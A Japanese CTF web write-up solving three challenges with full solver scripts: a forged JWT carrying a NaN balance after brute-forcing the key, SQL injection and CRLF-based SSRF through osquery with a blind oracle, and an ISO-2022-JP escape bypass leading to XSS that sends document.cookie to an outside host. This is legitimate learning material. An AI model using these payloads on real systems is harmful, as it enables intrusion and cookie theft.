🎂

Satoki CTF web writeup

2024/08/27に公開

毎度今週末も脆弱エンジニアでCTFに参加しました。Satokiさんの誕生日を祝うCTFということで、配信OKネタバレOKのワイワイCTFでとても楽しかったです。チームとしての結果は2位でした。

僕個人としては、Webは4/5と善戦はしたもののあと一歩全完には届かず(その一歩があまりにもデカかったが)、全完賞を得ることはできませんでした。First bloodが3つと、1 solveが一つなのでかなり傷跡は残せたはずです。

ちなみに全完頑張るYoutube配信をしました。それはそれで楽しかったです。(現在諸事情により非公開です。)

Minibank (100pts 27 solves)

お金を預けたり引き出したりできるサイト。Inputに数字を入力して「Deposit」で入金「Withdraw」で出金できる。

現在の残高balancebalance>0balance<=0を満たすようにできればフラグがもらえる。(使用言語はpython)

app.py
def determine_status(balance):
    status = FLAG
    if balance > 0:
        status = "rich"
    if balance <= 0:
        status = "poor"
    return f"You are a {status} person, aren't you?"

一見そのような数字は存在しないように思える。実際に、balanceが普通の整数や浮動小数ではどちらもみたすことはできない。また、pythonは意外と暗黙の型変換をしてくれないので、balanceが数値型以外では難しそうだ。

pythonにはinfnanという特別なfloatの値が存在する。これらは比較演算子に対してどう反応するだろうか?

$ python  
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> float('inf') > 0
True
>>> float('inf') <= 0
False
>>> float('nan') > 0
False
>>> float('nan') <= 0
False
>>>

float('nan')が題意を満たすことがわかった。

次に、balancenanにする方法を考えたい。

app.py
@app.route("/transaction", methods=["POST"])
def transaction():
    data = request.get_json()
    if "amount" in data and isinstance(data["amount"], int):
        amount = data["amount"]
        token = request.cookies.get("account")
        balance = decode_jwt(token)
        if balance is not None:
            balance += amount
            status = determine_status(balance)
            new_token = encode_jwt(balance)
            resp = jsonify({"balance": balance, "status": status})
            resp.set_cookie("account", new_token)
            return resp
        else:
            return jsonify({"error": "Invalid token."}), 400
    else:
        return (
            jsonify({"error": "Invalid amount specified. Amount must be an integer."}),
            400,
        )

/transactionへのリクエストでは、リクエストのamountという値を、現在のbalanceから足し引きしている。float('nan') + 3とかはnanになるが、これはisinstance(data["amount"], int)のチェックを突破することはできない。

ここで、balanceの値はcookieから取得されていることに注目したい。cookieの値を偽装することはできないだろうか?

cookieはjwtを利用している。コードは以下の通り

app.py
# omg ;(
KEY = str(random.randint(1, 10**6))

def encode_jwt(balance):
    payload = {"balance": balance}
    return jwt.encode(payload, KEY, algorithm="HS256")


def decode_jwt(token):
    try:
        payload = jwt.decode(token, KEY, algorithms="HS256")
        return payload.get("balance")
    except:
        return None

cookieはjwtを利用しており、キーは1から10^6までの数値であることが分かる。これは十分探索可能な範囲だ。したがって、john the ripperを利用してjwtをデコードしよう。

$ john -1='02' -mask=?d?d?d?d?d?d jwt.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
363068 (?)
1g 0:00:00:00 DONE (2024-08-26 22:45) 33.33g/s 19660Kp/s 19660Kc/s 19660KC/s 662928..326768
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

キーは363068であることがわかった。あとは、jwtのライブラリとキーを使ってトークンを発行し、リクエストを飛ばそう

以下がソルバーだ。

app.py
import jwt
import requests

URL = "http://160.251.237.162:4445/"
# URL = "http://localhost:4445/"

KEY = "363068"

s = requests.session()
token = jwt.encode({"balance": float('nan')}, KEY, algorithm="HS256")
s.cookies["account"] = token
    
r = s.get(URL)
print(r.status_code)
print(r.text)
ちょっと気になったこと

jwtのペイロードはjson形式じゃないといけないが、NaNはjsonの標準では利用できない。ただし、pythonのjson.dumpsはNaNを次のように出力する

>>> json.dumps({"a": float('nan')})
'{"a": NaN}'

しかも、これをloadsでしっかり読み込んでくれる。

>>> json.loads(json.dumps({"a": float('nan')}))
{'a': nan}

ちなみにnodeはしっかり拒否してくれる

$ node
Welcome to Node.js v22.3.0.
Type ".help" for more information.
JSON.parse('{"a": NaN}')
Uncaught SyntaxError: Unexpected token 'N', "{"a": NaN}" is not valid JSON

pythonのjsonライブラリの仕様(バグ?)によって可能な問題でした。

Osqlinj (200pts 8 solves)

ログインができるサイト。ログイン時に以下の条件を満たすとフラグがもらえる。

  1. ユーザー名がadminである。
  2. request.remote_addrが172.から始まる。
app.py
@app.route("/", methods=["GET", "POST"])
def login():
    username = request.form.get("username")
    password = request.form.get("password")
    if username:
        instance = osquery.SpawnInstance()
        instance.open()
        response = instance.client.query(
            f"SELECT count(*) FROM file WHERE directory = 'users/{username}' AND filename = '{password}'"
        )
        if response.status.message == "OK":
            count = int(response.response[0]["count(*)"])
            if count == 1:
                session["username"] = username
                del instance
                if session["username"] == "admin" and request.remote_addr.startswith(
                    "172."
                ):
                    return render_template(
                        "dashboard.html",
                        username=session["username"],
                        flag=FLAG,
                    )

                else:
                    return render_template(
                        "dashboard.html", username=session["username"], flag=":)"
                    )
        del instance
        return abort(401)
    else:
        return render_template("login.html")

Step 1: adminでのログイン

では、どのようにユーザーがバリデーションされるのかを見てみよう。

app.py
@app.route("/", methods=["GET", "POST"])
def login():
    username = request.form.get("username")
    password = request.form.get("password")
    print(f"{username=}", f"{password=}", request.remote_addr)
    if username:
        instance = osquery.SpawnInstance()
        instance.open()
        response = instance.client.query(
            f"SELECT count(*) FROM file WHERE directory = 'users/{username}' AND filename = '{password}'"
        )
        if response.status.message == "OK":
            count = int(response.response[0]["count(*)"])
            if count == 1:
                session["username"] = username
                del instance
        """ snap """

osqueryというライブラリを使っている。これは、OSの様々な情報をSQLの構文で問い合わせできるライブラリだ。これを利用して、users/<ユーザー名>/<パスワード>というファイルが存在しているかをチェックしているようだ。

よく見てみると、SQLの文字列がテンプレートを利用しているので、SQLインジェクションが可能だ。試しに{"username": "guest","password": "gue' || 'st'--"}で送ってみると、guestでログインできる。これは、SQL文が

SELECT count(*) FROM file WHERE directory = 'users/guest' AND filename = 'gue' || 'st' --'

となり、文字列結合されるからだ。

response.response[0]["count(*)"]がちょうど1であり、usernameがadminであるようなリクエストを送りたいので、SQLのUNIONを利用してみよう。パスワードを' UNION SELECT count(*) FROM file WHERE directory = 'users/guest' AND filename = 'guest' ORDER BY count(*) DESC--にすると、SQLは

SELECT count(*) FROM file WHERE directory = 'users/admin' AND filename = '' UNION SELECT count(*) FROM file WHERE directory = 'users/guest' AND filename = 'guest' ORDER BY count(*) DESC--'

となる。結果は[{'count(*)': '1'}, {'count(*)': '0'}]となり、ユーザー名adminでログインが成功する。

Step 2: IPアドレス指定のバイパス

次に、request.remote_addr.startswith("172.")を突破したい。一見172から始まるIPはプライベートIPのように思えるが、実際にプライベートIPなのは172.16.0.0〜172.31.255.255の範囲だけである。したがって、世の中には172から始まるグローバルIPが存在する。

172から始まるプロキシサーバーを探して、このサーバーからリクエストを送った(非想定解)。意外とグローバルIPでプロキシサーバーを検索できる無料なサイトは少なく、怪しめなサイトを利用して探した。(ご利用は自己責任で)

想定解はSSRFらしいです。

以下のソルバーでフラグをゲットした。

solver.py
import requests

# URL = "http://160.251.234.207:4649/"
URL = "http://localhost:4649"

r = requests.post(URL, data={
    "username": "guest",
    "password": "' UNION SELECT count(*) FROM file WHERE directory = 'users/guest' AND filename = 'guest' ORDER BY count(*) DESC--"
}, proxies={"http": "http://172.173.132.85/"})

print(r.status_code)
print(r.text)
追記: SSRFを利用した解き方(想定解)

ネタバレ見て想定解でも解けたので追記

"172."のフィルターを通すため、どうにかしてローカルから問い合わせを行いたい。osqueryにcurlという機能があるのでこれを利用する。

例えば、以下のように送れば問い合わせを送ると、nginxに問い合わせを行ってくれるが、次の2点の問題がある。

  1. GETリクエストのためパラメータを付随することができない(methodというカラムが存在するがこれは読み取り専用)
  2. 結果を見る方法がない
' UNION SELECT count(url) FROM curl WHERE url='http://nginx/'--

user_agentというカラムが存在するが、これにCRLFインジェクションの脆弱性がある。これは、ヘッダーを付与させる際に、CRLFがエスケープがされていないせいで、自由にヘッダーやボディを付与させることができるようになってしまうバグである。

例えば、以下のようにX-Forwarded-Forヘッダーを付与してみると、

' UNION SELECT count(url) FROM curl WHERE user_agent='ua\r\nX-Forwarded-For: FOOBAR' AND url='http://nginx/'--

しっかりヘッダーとして認識されている(nginxの設定をみると、X-Forwarded-Forがログとして記録されるようになっている)

nginx-1 | 192.168.128.2 - - [27/Aug/2024:17:58:50 +0900] "GET / HTTP/1.1" 200 799 "-" "ua" "FOOBAR"

また、FlaskはGETリクエストであったとしても、POSTリクエストと同じようにContent-Type: application/x-www-form-urlencodedと適切なボディを送ることで、request.formにデータを送ることができる。これで、1に関しての問題は回避できた。

次に、直接データを見ることができない問題だが、直接データを見ることができないのであれば、オラクルを作成してブラインドサーチを行うことはできないだろうか。

SELECT count(url) FROM curl WHERE user_agent='...' AND url='http://nginx/' AND result LIKE '%foobar%'のようなクエリを考えると、これはレスポンスにfoobarが含まれれば{'count(*)': '1'}であり、そうでないなら{'count(*)': '0'}である。したがって、これをUNIONで結合した場合、foobarが含まれていたら200 OKが返ってくるし、含まれなかったら401 Unauthorizedが返ってくる。これを利用して探索しよう。

以下がそれを利用したソルバー。ちなみに、_はLIKE文では任意の1文字とマッチしてしまうことに注意しよう。

solver2.py
import requests
from urllib.parse import quote

URL = "http://160.251.234.207:4649/"
# URL = "http://localhost:4649/"


inner = '\' UNION SELECT count(*) FROM file WHERE directory = "users/guest" AND filename = "guest" ORDER BY count(*) DESC--'
payload=f'username=admin&password={quote(inner)}'
headers = '\r\n'.join([
    f"Content-Length: {len(payload)}",
    "Content-Type: application/x-www-form-urlencoded",
    "Host: localhost",
    "",
   payload
])

known = "flag{"
while known[-1] != "}":
    for c in "}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_":
        current = known + c
        print(current)
        password = f"' UNION SELECT count(url) FROM curl WHERE user_agent='ua\r\n{headers}' AND url='http://nginx/' AND result LIKE '%{current}%' ORDER BY count(*) DESC--"

        r = requests.post(URL, data={
            "username": "guest",
            "password": password
        })
        if r.status_code == 200:
            known = current
            print("known -> " + known)
            break
    else:
        print("Something went wrong.")
        break

Guesscheme (300pts 1 solves)

[0 dayを利用した非想定解法だったため後日公開]

Chahan (300pts 2 solves)

シードを入力すると、Fakerという名前ジェネレーターで名前を出力してくれるサイト。Sinatraというrubyのフレームワークで動いている。

また、URLを送信するとbotが巡回してくれるので、そのcookieを取得できればよい。

admin.js
app.post('/open', async (req, res) => {
    const url = req.body.url;

    if (!url) {
        return res.status(400).send('URL is required');
    }

    const uri = new URL(url);
    if (uri.hostname == process.env.APP_HOST) {
        uri.hostname = 'web';
        uri.port = '8080';
    }

    const browser = await chromium.launch({
        /* snap */
    });
    const context = await browser.newContext({
        baseURL: 'http://web:8080'
    });

    await context.addCookies([{
        name: 'flag',
        value: process.env.FLAG,
        domain: 'web',
        path: '/'
    }]);


    const page = await context.newPage();
    console.log(`accessing to ${uri.toString()}`);
    /* snap */
});

テンプレートエンジンはERBを利用している。このテンプレートエンジンは自動で文字をエスケープしないので、XSSが可能そう。

generate.erb
<!DOCTYPE html>
<html lang="en">
<head>
  <title>Generated Name</title>
  <link rel="stylesheet" href="/styles.css">
</head>
<body>
  <div class="container">
    <h1>Generated Name: <%= CGI.escapeHTML @name.to_s %></h1>
    <h2>Seed: <%= CGI.escapeHTML @seed.to_s %></h2>
    <form action="/report" method="post">
      <input type="hidden" name="url" value="<%= request.url %>">
      <button type="submit">Boast to Admin</button>
    </form>
  </div>
  <script src="/purify.min.js"></script>
  <script>
    var theme = DOMPurify.sanitize("<%= @theme %>");
  </script>
  <script src="/theme.js"></script>
</body>
</html>

seedの値はCGI.escapeHTMLによってエスケープされ、themeの値はsanitize_stringという関数によってエスケープされてしまう。

app.rb
get '/generate' do
  @seed = sanitize_string params['seed']
  Faker::Config.random = Random.new(@seed.to_i)
  @theme = sanitize_string(params['theme'] || 'light')
  @name = Faker::Name.name
  headers 'Content-Type' => 'text/html'
  erb :generate
end

# snap 

def sanitize_string(s)
  s.gsub(/\\/){'\\\\'}
    .gsub(/"/){'\\"'}
    .gsub(/</){'&lt;'}
    .gsub(/>/){'&gt;'}
end

レスポンスのヘッダーを見てみると、Content-Typecharsetが指定されていないことがわかる。つまり、ISO-2022-JPを利用したXSSが利用できる。

seedの値を\x1b(Jにすると、HTMLがISO-2022-JP形式であると判断された上、それ以降の文字列がJIS X 0201 1976形式であると判断される。JIS X 0201 1976では、\¥として表示されるので、バックスラッシュによるエスケープを無効化することができる。

試しに、seedを\x1b(J、payloadを"にすると、sanitize_stringによってpayloadが\"とエスケープされてしまうが、JIS X 0201 1976形式によって¥"と解釈されることによって、エスケープに失敗させることができる。

あとは、エラーが起こらないようにjavascriptのコードを調整し、cookieの中身を送るようにXSSを行えば良い。

ペイロードを

");document.location.assign('https://xxx.ngrok.app/' + document.cookie)//

とすると、

\");document.location.assign('https://xxx.ngrok.app/' + document.cookie)//

とエスケープされるが、これは、

var theme = DOMPurify.sanitize("¥");document.location.assign('https://xxx.ngrok.app/' + document.cookie)//")

のようなコードになるため、無事XSSが成功する。

以下がソルバーとなる。

solver.py
import requests
from urllib.parse import quote

URL = "http://35.200.0.225:80/"
# URL = "http://localhost/"
EVIL = "https://xxx.ngrok.app/"

seed="\x1b(J"
payload = f"\");document.location.assign('{EVIL}' + document.cookie)//"

requests.post(URL + "report", data={
    "url": f"{URL}generate?seed={seed}&theme={quote(payload)}"
})

解説記事が話題になったあとすぐにImaginary CTF 2024で出題されて、しかも裏でやっていたSekai CTFでも出題されたみたいですね。ISO-2022-JP利用解はこれからXSSの大前提の一つとなる可能性大です。

Discussion